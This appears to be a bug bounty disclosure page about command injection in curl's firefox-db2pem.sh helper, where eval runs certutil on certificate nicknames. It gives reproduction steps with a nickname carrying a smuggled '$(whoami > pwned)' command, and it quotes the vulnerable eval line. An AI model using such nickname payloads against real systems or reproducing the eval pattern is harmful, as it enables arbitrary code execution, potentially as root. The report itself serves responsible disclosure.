OS Command Injection in scripts/firefox-db2pem.sh via untrusted certificate nicknames
The firefox-db2pem.sh helper script uses eval to run certutil with a certificate nickname, so a nickname containing shell syntax is executed as a command. An attacker who can import a certificate with a malicious nickname into an NSS database can achieve arbitrary code execution when the script is run, potentially as root.
Originally disclosed on HackerOne
- Disclosed after 39 hours
On AI usage: Only for grammar/formatting suggestions/POC code troubleshooting; all vulnerability discovery, POC code creation, and analysis were done manually.
Hey folks, I noticed something I think is worth bringing to you--
scripts/firefox-db2pem.sh helper in the curl source uses
eval certutil -d "$db" -L -n "$nickname" -a
to extract each certificate by nickname. Because eval re-parses its arguments, a malicious nickname containing shell syntax (e.g. $(whoami > pwned)) is executed on the host.
Affected Version -curl master as of June 26 2025 (commit 2a9dfe2), not sure how long this vuln has been in for though.
Steps To Reproduce
- Install prerequisites
sudo apt-get install -y libnss3-tools openssl
- Create a throw-away profile
export HOME=$(mktemp -d)
PROF="$HOME/.mozilla/firefox/safe.default"
mkdir -p "$PROF"
certutil -N --empty-password -d "$PROF"
- Generate a self-signed cert
openssl req -x509 -newkey rsa:2048 -nodes \ -subj '/CN=RCE-Test/' -days 1 \ -keyout "$HOME/key.pem" -out "$HOME/cert.pem"
- Import it with a malicious nickname that runs whoami
payload='evil$(whoami > pwned)' certutil -A -d "$PROF" -n "$payload" -t "C,C,C" -i "$HOME/cert.pem"
5.Verify the nickname is listed
certutil -L -h 'Builtin Object Token' -d "$PROF"
- Run the vulnerable helper
bash -x scripts/firefox-db2pem.sh "$HOME/ca-bundle.pem" || true
- Observe proof file
cat pwned
You can also just use my below POC script which I'll attach, but its basically just those steps automated.
Supporting Material / References
Vulnerable code snippet in scripts/firefox-db2pem.sh:
54 certutil -L -h 'Builtin Object Token' -d "$db" |
55 grep ' [CcGTPpu],[CcGTPpu],[CcGTPpu] $' |
56 sed -e 's/ [CcGTPpu],[CcGTPpu],[CcGTPpu]* $//' -e 's/(.)/"\1"/' |
57 sort |
58 while read -r nickname;
59 do echo "$nickname" | sed -e "s/Builtin Object Token://g";
60 eval certutil -d "$db" -L -n "$nickname" -a ;
61 done >> "$out"
Because the nickname value is substituted into the string that eval executes, any shell metacharacters or command sequences in a nickname will run as part of the shell command.
Impact
An attacker who can import a certificate into any Firefox NSS database—e.g., their own profile—can achieve arbitrary code execution when scripts/firefox-db2pem.sh is run. In practice, many administrators run this helper as root to generate a system-wide CA bundle, so this bug yields root-level RCE on affected systems.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The script passes a certificate nickname into eval without sanitising shell metacharacters, so the nickname is re-parsed as shell code.
Impact
An attacker who can import a certificate into an NSS database can achieve arbitrary code execution when the helper is run, and because administrators often run it as root, this could yield root-level code execution.
What the attacker needed
Ability to import a certificate into an NSS database; the helper script is run on that database
How it was found
- Install libnss3-tools and openssl.
- Create a temporary Firefox profile and initialise an NSS database.
- Generate a self-signed certificate.
- Import the certificate with a nickname containing shell syntax.
- Run the firefox-db2pem.sh helper script.
- Observe the proof file created by the injected command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A helper script in curl takes certificate names from a Firefox database and runs a command with them. It uses a shell feature called eval that re-interprets the text, so if a certificate name contains extra shell commands, those commands run too. Someone who can add a certificate with a crafted name can therefore run their own commands on the machine when the script is used.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.